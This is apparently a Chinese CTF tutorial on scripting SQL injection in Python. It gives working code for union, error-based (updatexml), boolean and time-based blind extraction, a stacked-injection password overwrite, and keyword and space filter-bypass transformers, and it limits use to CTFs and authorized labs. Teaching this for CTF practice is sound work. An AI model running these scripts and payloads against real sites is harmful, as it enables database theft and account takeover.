每次CTF比赛一进Web题,SQL注入类里的盲注永远是我最头疼的环节。手工一步一个请求去猜字符,时间根本不够用;直接上现成工具,很多题目又故意改了回显方式和过滤逻辑,工具反而像个瞎子。后来我给自己立了个规矩:遇到SQL注入题,先花几分钟写一个Python脚本,把重复请求和判断标准固化下来,后面的解题过程会轻松很多。这篇合集就是按照这个思路整理的,我会持续更新,每次打完比赛或训练完,有新技巧就往里补充。
这系列内容面向三类人最合适:刚接触CTF的Web方向新手,想从“手撸注入”过渡到“脚本化注入”的选手,以及比赛时时间紧张、需要快速复用模板的老手。你不需要很深的Python基础,只要会requests的基本用法,能看懂函数逻辑,就可以直接抄着用。不过有一条必须写在前面:所有payload和技巧都只建议在CTF赛题、本地靶场和明确授权的目标上使用,这个边界比技术本身更重要。
1. CTF里的SQL注入为什么值得上脚本
1.1 常见的出题形态就那几类
CTF里的SQL注入题,表面上看花样很多,剥掉外壳后核心考点基本集中在几类:第一类考注入点类型判断,单引号、双引号、数字型,判断错了,后面的payload全废。第二类考数据提取效率,典型的就是布尔盲注,需要从几十甚至上百次响应差异里拼出库名、表名、字段名和flag。第三类考数据库语法理解,比如堆叠注入、预处理语句、报错函数的选择和使用。第四类考绕过思路,把空格、关键字、逗号过滤掉之后,同样的注入路径要用各种等价写法绕过去。
对新手来说,第一道坎往往不是注入原理本身,而是手工操作太慢。一个盲注位,手工测几十次请求,复制粘贴就让人崩溃;时间盲注更要命,每测一位都要等sleep结束,十几位字符跑下来就是几十分钟。Python脚本在这里解决的就是“机械劳动自动化”和“判断标准化”两个问题。脚本不是用来替代你思考的,而是把重复、耗时、容易出错的操作封装好,让你把精力放在注入思路和payload构造上。
1.2 脚本是工具,不是偷懒的借口
有一句话值得反复说:写脚本的前提是你已经搞清楚了注入原理,而不是用脚本碰运气。我见过同组的选手一上来就挂通用扫描器,跑了十分钟没出结果,最后我手动看了一眼请求和响应,发现是一个很基础的数字型布尔判断,页面在两种条件下会返回状态码200和404,但扫描器默认只看正文长度,所以怎么都识别不出差异。
这个例子说明,真正值钱的是你对注入链路的拆解能力,脚本只是表达方式。所以这篇合集里,我不打算只丢一堆模板,会把每个模板的“适用条件”和“为什么这么写”尽量讲清楚。等你理解了背后的判断逻辑,模板不再是死代码,而是可以随手改的素材。
2. 先搭一版通用请求骨架:把请求、响应、判断固化下来
写脚本的第一步不是急着构造payload,而是先搭一个可复用的请求骨架。它负责管理目标地址、请求参数、Cookie、超时时间这些信息。多道题目复用一个骨架,后续只需要替换payload生成和响应判断两部分,省去大量重复代码。
2.1 为什么选requests+session而不是裸urllib
Python里发HTTP请求的选择很多,标准库的urllib当然能写,但在CTF场景里,你经常需要维持会话状态、处理重定向、自定义请求头。裸用urllib会产生大量样板代码,requests库则把这些事情封装得很顺手。
更关键的是requests.Session对象会自动保留Cookie。遇到需要登录后才能注入的题目,先POST一次登录接口拿到会话,后面所有注入请求都会自动带着Cookie,省去手动维护的麻烦。CTF的Web题大部分直接HTTP明文访问,偶尔有自签证书的HTTPS靶场,设置verify=False的同时记得关掉警告,否则每次请求都刷一行InsecureRequestWarning,日志全是噪音。
下面是我在多个CTF题目里复用过的骨架代码:
import requests import urllib3 import os urllib3.disable_warnings() class BaseSolver: def __init__(self, url, session=None, headers=None): self.url = url self.s = session if session else requests.Session() self.s.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" }) if headers: self.s.headers.update(headers) def request(self, payload, params=None, post=False, timeout=10): # 默认把payload放在id参数里,实际题目按需调整 data = params or {"id": payload} try: if post: r = self.s.post(self.url, data=data, timeout=timeout, verify=False) else: r = self.s.get(self.url, params=data, timeout=timeout, verify=False) return r except requests.exceptions.Timeout: return None except requests.exceptions.RequestException as e: print(f"[error] {e}") return None这版骨架很轻薄,但已经包含三个关键点:统一超时、统一异常处理、统一返回值。所有注入模板的请求都走request()方法,拿到响应或None,后面的判断逻辑写在具体脚本里。如果题目有两个参数,就把params传成{"id": payload, "page": "1"},灵活度很高。
2.2 三种响应判断粒度
CTF注入题里,“怎么判断这次请求是否命中条件”直接决定脚本正确率。常见判断粒度有三种,按关键字、按响应长度、按响应时间。
按关键字判断最直接。很多题在正常查询时会返回固定提示,比如“查询成功”“not found”的提示串。布尔盲注题尤其常见:条件为真返回某个用户名,条件为假返回“no result”。你只要在响应文本里查关键字在不在就行。
按响应长度判断适合页面内容复杂、关键字不明显的情况。同一个查询返回的记录数不同,响应长度会有明显差异。脚本里统一算len(r.text),设置阈值,超过阈值就视为条件成立。但要注意,响应如果带动态时间戳或随机值,长度会小幅波动,最好多次采样取稳定值,或者干脆换关键字判断。
按响应时间判断是时间盲注专用的。脚本记录请求前后的时间差,超过设定阈值就认为sleep生效。这里的阈值要留足余量,比如payload里sleep(1),判断阈值设为1.5秒以上,避免网络抖动造成误判。更稳的方案我在第3章时间盲注部分再展开。
请求部分固定下来之后,剩下的就是注入类型本身了。
3. 五种主流注入脚本模板与逐个拆解
3.1 联合查询注入:先数列数再取数,模板最直观
联合查询适合页面会直接展示查询结果的题目。核心思路是让原查询返回空结果,再用UNION SELECT拼接我们想查的数据,最终数据回显到页面上。但前提是字段数必须和目标查询一致,否则查询直接报错,所以第一步是探测字段数。
最简单的方法是ORDER BY。目标查询后面依次接order by 1、order by 2,一直试到报错,报错前的那个数字就是字段数:
def probe_columns(solver): for i in range(1, 21): payload = f"' order by {i}-- -" r = solver.request(payload) if r is None: continue text = r.text.lower() if "error" in text or "unknown column" in text: return i - 1 return None注意不同数据库的报错特征不一样。MySQL里超出字段数会返回Unknown column '6' in 'order clause',报错信息会把数字带出来;Oracle的报错特征则是ORA-00924这类代码。CTF里最常见的是MySQL,默认先按MySQL处理没问题,写题目专用脚本时再根据实际情况调整错误关键字。
拿到字段数后,第二步要确认哪一列能回显到页面上。用UNION SELECT 1,2,3...把每一列都变成一个数字,然后在响应里找这些数字出现的位置:
def locate_echo(solver, col_count): nums = ",".join(str(i) for i in range(1, col_count + 1)) payload = f"' union select {nums}-- -" r = solver.request(payload) if r is None: return [] return [i for i in range(1, col_count + 1) if str(i) in r.text]这个思路很呆但很有效。找到回显位后,把对应位置的数字替换成查询表达式,比如获取当前数据库名:
payload = "' union select 1,database(),3-- -"整个联合查询脚本的骨架就完成了。它最适合“一次能把数据全拖出来”的题目。列数多、数据量大的时候,用group_concat把多条数据合并成一行回显,避免数据被换行和截断搞乱。
3.2 报错注入:让数据库把错误信息吐出来
报错注入适用于页面不直接回显查询结果,但会把数据库报错信息显示出来的题目。核心思路是构造一个触发数据库计算错误的表达式,在错误信息里夹带查询结果。MySQL里最常见的两个函数是updatexml和extractvalue。
比如这样一条payload:
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- -这里的0x7e是~的十六进制表示,用来包住查询结果,方便在报错信息里定位。updatexml的第二个参数要求是合法的XPath格式,我们传入的concat(...)不是合法XPath,就会触发XPATH syntax error报错,报错内容会带上中间拼接的查询结果。
脚本端需要做的就是用正则把报错信息里的结果抠出来:
import re def extract_error_result(text): # 报错格式形如 XPATH syntax error: '~target_data' match = re.search(r"XPATH syntax error: '~([^']+)'", text) return match.group(1) if match else ""注意一点:extractvalue对结果长度有大概32字符的限制,updatexml稍宽松一些,但实际吐出超长结果时也会截断。CTF题目里的flag通常不长,直接用没问题;真遇到超长数据,就需要配合substr分段获取。报错注入的脚本一般比联合查询短,因为它不需要探测列数,主要工作是维护好payload模板和提取正则。
3.3 布尔盲注:用二分把请求量从几百次压到十几次
布尔盲注题目,页面会根据条件真假返回两种不同状态,比如正常页面和“不存在”提示。我们要做的是把数据库里的字符逐位猜出来。最简单的方式是枚举每一位的ASCII码,从32试到126,一位最多95次请求,猜15位字符串就要上千次请求。用二分法可以把这个数字压到每位7次左右。
先写一个统一的判断函数:
def is_true(solver, payload): r = solver.request(payload) if r is None: return False # 根据题目实际返回状态调整,比如判断 "正常" 关键字是否存在 return "正常" in r.text然后是二分猜字符:
def blind_char(solver, query, pos): low, high = 32, 126 while low < high: mid = (low + high) // 2 payload = f"' and ascii(substr(({query}),{pos},1))>{mid}-- -" if is_true(solver, payload): low = mid + 1 else: high = mid if low == 32: return None # 该位置没有字符 return chr(low) def blind_extract(solver, query, length=30): result = [] for pos in range(1, length + 1): ch = blind_char(solver, query, pos) if ch is None: break result.append(ch) return "".join(result)这里有几个坑要提醒。第一,is_true不能只看响应长度,因为布尔盲注的两个状态有时长度差异很小,尤其是题目套了统一页面模板,最好同时比较关键字和长度。第二,ascii(substr(...))在MySQL里很标准,如果题目是PostgreSQL,就要换成ascii(substring(...)),函数名和参数结构都有差异。第三,有些过滤会把>和逗号拦掉,这时可以用between ... and ...或者ord(substr(...))绕开逗号和比较符。
3.4 时间盲注:超时阈值和网络抖动必须一起处理
布尔盲注的“真/假”很多时候不好区分,比如页面在两种条件下都返回200,正文差异被模板隐藏。这时候时间盲注派上用场:条件为真时执行sleep,条件为假时立即返回,用响应时间差判断真假。
最朴素的单字符枚举:
import time def blind_time_char(solver, query, pos, delay=1): for code in range(32, 127): payload = f"' and if(ascii(substr(({query}),{pos},1))={code},sleep({delay}),0)-- -" start = time.time() r = solver.request(payload) elapsed = time.time() - start if r is not None and elapsed >= delay: return chr(code) return None但这种方式太慢:15位字符,最坏要枚举95×15次,每次都睡1秒,就是20多分钟。所以时间盲注更推荐配合二分:
def blind_time_char_binary(solver, query, pos, delay=1): low, high = 32, 126 while low < high: mid = (low + high) // 2 payload = f"' and if(ascii(substr(({query}),{pos},1))>{mid},sleep({delay}),0)-- -" start = time.time() solver.request(payload) elapsed = time.time() - start if elapsed >= delay: low = mid + 1 else: high = mid if low == 32: return None return chr(low)这里最容易踩的坑是网络本身不稳定,导致sleep(1)的请求也可能出现0.8秒的延迟,被误判成条件不成立。我的做法是:先发一个不带sleep的请求,统计正常响应耗时基线;再发一个sleep(5)的请求,确认延迟能被稳定感知;最终判断阈值设为“正常基线的3倍且不小于delay”。如果网络抖动大到无法区分,每个候选值就重复测两次,两次都超过阈值才认为条件成立。
3.5 堆叠注入:多语句执行场景下的脚本组装
堆叠注入允许一次执行多条SQL语句,常见于后端使用支持多语句执行的中间件。CTF里典型考法是“通过堆叠注入修改表内数据”,比如把管理员的密码改成已知值,再登录后台拿flag。
脚本端和单条查询注入的思路不太一样:堆叠注入的返回结果和普通查询不同,前一条语句的结果集可能被丢弃,后一条语句只返回受影响行数。所以判断条件通常不是看页面回显数据,而是看“后续效果”。例如先update一条记录,再请求某个页面观察状态变化,这个观察动作更适合独立成一个验证函数:
def stack_update(solver, username, pass_md5): payload = f"'; update users set password='{pass_md5}' where username='{username}'-- -" solver.request(payload) # 验证:用新密码登录并检查是否成功 r = solver.s.post(solver.url + "/login", data={"username": username, "password": pass_md5}) return "success" in r.text堆叠注入还有一种变体是“利用堆叠语句开启日志功能来写WebShell”,CTF里有出现过。这种题目拼的已经不是注入本身,而是对目标数据库文件权限和日志机制的理解。脚本侧的关键是:执行payload前记录文件路径,执行后检查目标文件是否生成,这种检查逻辑可以单独抽成一个check_file_exists(file_path)函数,方便复用。
4. 绕过过滤器的脚本化处理:CTF里最常见的拦路虎
前面五种模板都是把payload直接写死,但CTF题目几乎每套都带过滤,只是强弱不同。我遇到的过滤组合大致可以分成几类:空格、关键字、逗号、等号、注释符、编码过滤。跳过过滤的方式不能靠手工一条条试,最好在脚本里做一个“自动变形层”。
4.1 空格被过滤时的自动替换
很多题目会把空格直接删掉或替换成空字符串。处理办法是换用MySQL里可以作为空白分隔符的字符,比如注释符/**/、换行符%0a、制表符%09、内联注释/*! ... */。一个简单的自动替换函数:
def replace_space(payload): # 默认用 /**/ 顶替空格,遇到其它情况再改 return payload.replace(" ", "/**/")后端如果只匹配字面空格,这种替换往往能直接绕过去。但有些后端会把/**/这种注释块也过滤掉,那就换成%0a或者%09。我有个快速试错法:先提交一个同时包含空格、注释符、制表符的探测串,看返回的报错或过滤特征,判断后端到底过滤了哪几种空白符,再决定最终用哪个替换字符。
4.2 关键字过滤时的组合绕法
关键字过滤是重点,因为关键字一旦被过滤,整个payload的骨架就断了。CTF里最常见的过滤对象是select、union、and、or、sleep等。
等待时间较紧时可以这样处理:内联注释/*!50000select*/在部分MySQL版本中可以绕过纯文本匹配,因为服务端会解析注释里的内容;双写selselectect能绕过只做单次替换的过滤器;大小写混写SeLeCt只对不区分大小写的后端匹配有效。真实题目经常是多种过滤组合,所以脚本里需要做“payload变形器”,按题目配置不同的变形规则:
def transform(payload, rules): # rules示例: {"space": True, "keywords": {"select": "double", "or": "inner_comment"}} for word, mode in rules.get("keywords", {}).items(): if mode == "double": payload = payload.replace(word, word + word) elif mode == "inner_comment": payload = payload.replace(word, f"/*!{word}*/") elif mode == "mixedcase": payload = payload.replace(word, word.capitalize()) if rules.get("space"): payload = payload.replace(" ", "/**/") return payload这类变形器不是万能药,但它把“手动试绕法”变成了“规则配置”。一道题花两分钟试几种规则组合,比一条条手工构造payload省时间得多。而且赛后复盘时,规则配置本身也是一份可复用的资产。
4.3 一个轻量级的payload生成器思路
更近一步,我可以把前面几个变形函数合并成一个“payload生成器”,生成器接收模板名称和参数,输出最终payload。比如要生成布尔盲注payload,就调用build_payload("boolean_ascii", query=query, pos=pos, db="mysql"),生成器内部先拼原始payload,再调用变形器统一处理过滤规则。
这个设计的意义在于:积累的题目多了之后,遇到新题不用从零开始。先判断注入类型,再选择模板,最后套过滤规则,三步走下来很快。工程结构上建议把BaseSolver、payload_builder、extractor三个模块分开维护,后续加新题型就是“新增一个模板函数”的问题,对已有脚本影响很小。
5. 从“能跑”到“跑得稳”:多线程、超时、断点续扫三个工程问题
CTF比赛时间紧张,一个布尔盲注脚本如果串行跑,很拖节奏。我把脚本改成多线程后,发现真正的难点不是并发本身,而是并发带来的判断错误和请求频率失控。
5.1 盲注多线程的正确姿势
最直接的做法是对每个字符位置分一个线程,每个线程内部用二分法猜这个位置的字符。这样可以将原本串行的上百次请求分摊到多个线程里,整体时间能缩短到原来的五分之一甚至更少。
Python的concurrent.futures.ThreadPoolExecutor写起来很简单:
from concurrent.futures import ThreadPoolExecutor, as_completed def solve_parallel(solver, query, length=15, workers=8): result = {} with ThreadPoolExecutor(max_workers=workers) as pool: futures = { pool.submit(blind_char, solver, query, pos): pos for pos in range(1, length + 1) } for fut in as_completed(futures): pos = futures[fut] result[pos] = fut.result() return "".join(result.get(i, "") for i in range(1, length + 1))但要控制线程数量。多线程到8个以上时,目标服务器响应容易变慢,误判率上升。另外,requests.Session在多线程下不是严格线程安全的,虽然大部分场景能凑合用,保险起见可以为每个线程单独创建自己的Session,或者在请求函数内部加锁。我实际用下来,单线程Session配合ThreadPoolExecutor在CTF场景问题不大,真遇到奇怪的连接错误,就把Session初始化挪到每个线程内部去。
5.2 日志与断点恢复,让长耗时注入不再白跑
长耗时盲注最怕跑到一半断网,或者比赛环境临时重置。没有日志的话,前面所有请求全部白费。我的做法是每解出一个字符就立刻追加写入本地文件:
def save_progress(pos, ch): with open("progress.txt", "a", encoding="utf-8") as f: f.write(f"{pos}:{ch}\n") def load_progress(): done = {} if os.path.exists("progress.txt"): with open("progress.txt", "r", encoding="utf-8") as f: for line in f: line = line.strip() if ":" in line: pos, ch = line.split(":", 1) done[int(pos)] = ch return done再次运行时先加载已解出的位置,直接跳过:
done = load_progress() for pos in range(1, length + 1): if pos in done: continue ch = blind_char(solver, query, pos) if ch is None: break save_progress(pos, ch)这几十行代码看着不起眼,真到比赛后半场就会觉得非常值钱。日志里除了位置和字符,我还会顺手记下payload模板版本号,因为过滤规则一改,旧日志可能不可信,需要整条重置。
6. 后续更新计划,以及我实际使用中的几点体会
6.1 这个合集后续准备补什么
既然叫合集,后面我会持续扩充。目前我的优先级是:第一,不同数据库的语法差异模板,当前主要覆盖MySQL,后续补PostgreSQL、SQLite和MSSQL的常用payload;第二,自动化tamper脚本,把绕过规则进一步参数化,做成类似规则表的形式;第三,针对登录型、文件读写型、命令执行型SQL注入的分类脚本,这类题目在CTF里经常混着代码审计考;第四,把所有脚本合并成一个可配置的CLI工具,用命令行指定目标、注入类型、过滤规则和线程数。每次有新素材,我都会在这个合集里追加对应章节。
6.2 我踩过几次坑之后留下的几条经验
最后说点代码之外的东西。
第一,写脚本前一定先手动跑通一条完整的注入链路,哪怕只是手动从页面里取一次数据库名。这样你才知道响应里的“正常特征”到底是什么,脚本里的关键字判断才有依据。跳过这一步直接写脚本,很容易把判断依据搞错。
第二,二分法是降低请求量的关键,但二分的前提是判断函数足够稳定。判断不稳定的时候,宁可三次采样投票再下结论,也不要为了省那几个请求而让结果出错。
第三,CTF里的SQL注入题经常混合代码审计,脚本只能帮你提高效率,真正的难点在于读懂后端逻辑。有时候题目过滤规则就在源码里,你翻一遍源码比盲试半天更快。
第四,尽量维护一份自己的模板库,哪怕每个模板只有几十行。别去背网上那种超大通用脚本,理解清楚自己的函数为什么这么写,比赛时才能随手改。
如果你正在入门SQL注入脚本化,我建议从布尔盲注二分脚本开始。它逻辑完整、代码量小,又能覆盖真实题目里最常见的场景。把这个脚本吃透了,再向报错注入和时间注入扩展,会顺手很多。等这道基础功扎实了,后续新模板和新绕过思路都只是在此之上的小修小补。